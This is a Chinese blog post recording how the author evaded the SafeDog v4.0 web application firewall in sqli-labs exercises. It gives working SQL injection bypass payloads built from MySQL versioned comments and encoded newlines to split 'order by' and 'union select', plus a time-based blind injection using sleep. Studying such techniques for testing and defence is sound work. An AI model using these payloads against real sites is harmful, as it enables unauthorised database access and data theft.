安全狗v4.0绕过

安全狗新升级 拦截界面都变了

and 1=1:

尝试输入payload

到and还没有拦截

但是输入 and 1=1之后就拦截了

我尝试了几次还认为是检测 and后面的数字 因为没有数字过后就不在拦截

所以尝试对数字替换 十六进制、负数、假的注释等等没用

后面查阅资料 发现安全狗一般检测关键字 会不会是 发现关键字 再检测后面的内容 所以这样才没有过滤and

对and进行更改

/*!14400and*/

在mysql中 /*! ....*/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!14400and*/;这里的14400表示假如 数据库是1.44.00及以上版本,该语句才会被执行。

 

order by:

payload:

http://www.sqlilabs.com/Less-2/?id=5%20/**/order/*/%0a*a*/by/**/3--+

分析:

并不单个拦截 而是两个单词在一起拦截

/**/order/*/%0a*a*/by/**/3--+

思路就是利用多个注释和换行来混淆

使用/**/ 和%oa(换行) 来放在判定为两个连接

 

 union select:

payload:

union /*//--/*/ /*!--+/*%0aselect/*!1,2,3*/ --+

分析:

和order by的拦截一样 均可使用换行%0a来进行绕过

中间加入多个格式的注释和空格来混淆

加入database()

让我很意外 居然没有拦截

正则表达式并没有单独匹配database()

 

第八关

无回显,使用时间盲注。

http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(1)) --+

substr函数:
substr((字符串),从什么位置开始提取,提取几个字符)

if函数类似于三目运算符 表达式为真则为停5秒 否则停1秒

 

posted @ 2022-11-04 15:00  错的是我  阅读(148)  评论(1)    收藏  举报